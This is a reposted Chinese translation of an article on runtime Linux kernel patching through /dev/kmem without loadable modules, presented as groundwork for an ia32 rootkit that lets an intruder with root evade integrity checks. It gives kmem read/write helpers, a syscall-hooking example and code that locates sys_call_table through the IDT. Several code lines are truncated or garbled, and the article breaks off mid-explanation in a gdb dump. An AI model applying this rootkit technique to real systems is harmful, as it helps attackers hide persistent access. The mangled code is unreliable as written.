分享
 
 
 

Linuxon-the-flykernelpatchingwithoutLKM

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

摘要

1.简介

本文,作者将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,并利用这个技术实现了个rootkit

中文翻译:nixe0n

1.简介

开始,我们要感谢Silvio Cesare,是他在很久以前就实现了内核修改技术,本文的大部分想法都是窃取他的成果。

本文,我们将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,因此需要读者了解什么是LKM以及它们是如何加载的。如果对这些知识你好不太了解,请参考本文列举的参考资料。

首先,我们设想一下,如果一个可怜的家伙进入了一个系统获得了root权限,但是系统管理员非常精明,使用某些数据完整性检测工具使攻击者不能神不知鬼不觉地安装自己修改过的木马sshd,而且系统中根本就没有安装gcc等编译器、开发库和需要的头文件(本该如此:P),使攻击者无法编译自己的LKM rookit。这可怎么办?本文将一步步地告诉你如何解决这个问题,另外在本文的结尾提供了完整的Linux-ia32 rootkit,在这个rootkit中实现了本文叙述的技术。(读者可以到http://www.phrack.org获得其源代码--nixe0n)

本文讲述的技术只能用于用于ia32架构。

2./dev/kmem是我们的朋友

mem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。

未曾开始先来一段语录:),来自Linux手册页(man mem)

有关修补运行中内核的技术细节请参考Silvio的大作run-time kernel patching,这里只是简要地介绍一个片段:

本文中,所有对内核空间的操作都是通过一个标准的Linux设备/dev/kmem。这个设备通常只有root用户才有rw权限,因此只有root才能实现这些操作.注意:只是修改/dev/kmem的权限,无法让普通用户获得对它的修改权限,因为即使虚拟文件系统允许普通用户访问/dev/kmem,内核还会对进程进行第二次检查(在device/char/mem.c中),检查进程是否具有CAP_SYS_RAWIO能力(capability)。

除/dev/kmem设备之外,/dev/mem也应该引起注意。这个设备表示在进行虚拟内存转换之前的物理内存影象。如果我们知道了页目录的位置,通过这个设备也可能达到修改系统内核的目的。在本文中,我们不讨论这种可能性。

在代码中,针对/dev/kmem文件的读、写以及地址定位等操作分别使用标准的系统调用read()、write()和lseek()实现,非常简单。下面是实现上述功能的函数:

/* 从kmem中读取数据 */

static inline int rkm(int fd, int offset, void *buf, int size)

{

if (lseek(fd, offset, 0) != offset) return 0;

if (read(fd, buf, size) != size) return 0;

return size;

}

/* 向kmem中写入数据 */

static inline int wkm(int fd, int offset, void *buf, int size)

{

if (lseek(fd, offset, 0) != offset) return 0;

if (write(fd, buf, size) != size) return 0;

return size;

}

/* 从kmem读出一个整数 */

static inline int rkml(int fd, int offset, ulong *buf)

{

return rkm(fd, offset, buf, sizeof(ulong));

}

/* 向kmem写入一个整数 */

static inline int wkml(int fd, int offset, ulong buf)

{

return wkm(fd, offset, &buf, sizeof(ulong));

}

3.替代系统调用

我们知道,从用户空间的角度看,系统调用在Linux中,是最底层的系统函数,因此系统调用是我们最感兴趣的东西。在Linux内核中,系统调用被集合到一个表中(sys_call_table),这是个一维数组,保存256个指针,使用系统调用号作为索引定位调用的入口点。仅此而已。

我们首先看一下下面这段伪代码:

/* as everywhere, "Hello world" is good for begginers ;-) */

/* 原来的系统调用 */

int (*old_write) (int, char *, int);

/* 新系统调用处理函数 */

new_write(int fd, char *buf, int count) {

if (fd == 1) { /* 标准输出设备 ? */

old_write(fd, "Hello world! ", 13);

return count;

} else {

return old_write(fd, buf, count);

}

}

old_write = (void *) sys_call_table[__NR_write]; /* 保存旧的 */

sys_call_table[__NR_write] = (ulong) new_write; /* 设置新的 */

这种类型的代码在各种LKM型rootkit、tty劫持程序中经常遇到,我们可以通过这种方式修改sys_call_table[],而代码通常是由/sbin/insmod(调用create_module() / init_module())导入内核的。

好了,到此为止,我们想这恐怕已经足够了。

3.1.没有LKM如何获得sys_call_table[]的位置

首先,要注意一点,如果在编译时不支持LKM,Linux内核将不会维护任何的符号信息。这是一个明智的选择,不支持LKM,还有什么使用这些信息的理由?为了调试?System.map可以用于调试。当然,我们需要这些符号信息:)。如果内核支持LKM,LKM需要的符号就会被导入它们的特定连接片段。但是,我们说过,不支持LKM,这怎么办?

据我们所知,要获取sys_call_table[]的位置,最聪明的方式是这样的:

#include

#include

#include

#include

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,flags;

unsigned short off2;

} __attribute__ ((packed)) idt;

int kmem;

void readkmem (void *m,unsigned off,int sz)

{

if (lseek(kmem,off,SEEK_SET)!=off) {

perror("kmem lseek"); exit(2);

}

if (read(kmem,m,sz)!=sz) {

perror("kmem read"); exit(2);

}

}

#define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */

main ()

{

unsigned sys_call_off;

unsigned sct;

char sc_asm[CALLOFF],*p;

/* 获得IDTR寄存器的值 */

asm ("sidt %0" : "=m" (idtr));

printf("idtr base at 0x%X

",(int)idtr.base);

/* 打开kmem */

kmem = open ("/dev/kmem",O_RDONLY);

if (kmem

/* 从IDT读出0x80向量 (syscall) */

readkmem (&idt,idtr.base+8*0x80,sizeof(idt));

sys_call_off = (idt.off2

printf("idt80: flags=%X sel=%X off=%X

",

(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

/* 寻找sys_call_table的地址 */

readkmem (sc_asm,sys_call_off,CALLOFF);

p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3);

sct = *(unsigned*)(p+3);

if (p) {

printf ("sys_call_table at 0x%x, call dispatch at 0x%x

",

sct, p);

}

close(kmem);

}

下面我们解释一下这段代码是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能够获得中断描述符表(interrupt descriptor table)的位置,从这条指令获得指针中我们可以获得int $0x80中断描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。

然后我们使用[sys_call_off = (idt.off2

[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux

(no debugging symbols found)...(gdb) disass system_call

Dump of assembler code for function system_call:

0xc0106bc8 : push %eax

0xc0106bc9 : cld

0xc0106bca : push %es

0xc0106bcb : push %ds

0xc0106bcc : push %eax

0xc0106bcd : push %ebp

0xc0106bce : push %edi

0xc0106bcf : push %esi

0xc0106bd0 : push %edx

0xc0106bd1 : push %ecx

0xc0106bd2 : push %ebx

0xc0106bd3 : mov $0x18,%edx

0xc0106bd8 : mov %edx,%ds

0xc0106bda : mov %edx,%es

0xc0106bdc : mov $0xffffe000,%ebx

0xc0106be1 : and %esp,%ebx

0xc0106be3 : cmp $0x100,%eax

0xc0106be8 : jae 0xc0106c75

0xc0106bee : testb $0x2,0x18(%ebx)

0xc0106bf2 : jne 0xc0106c48

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有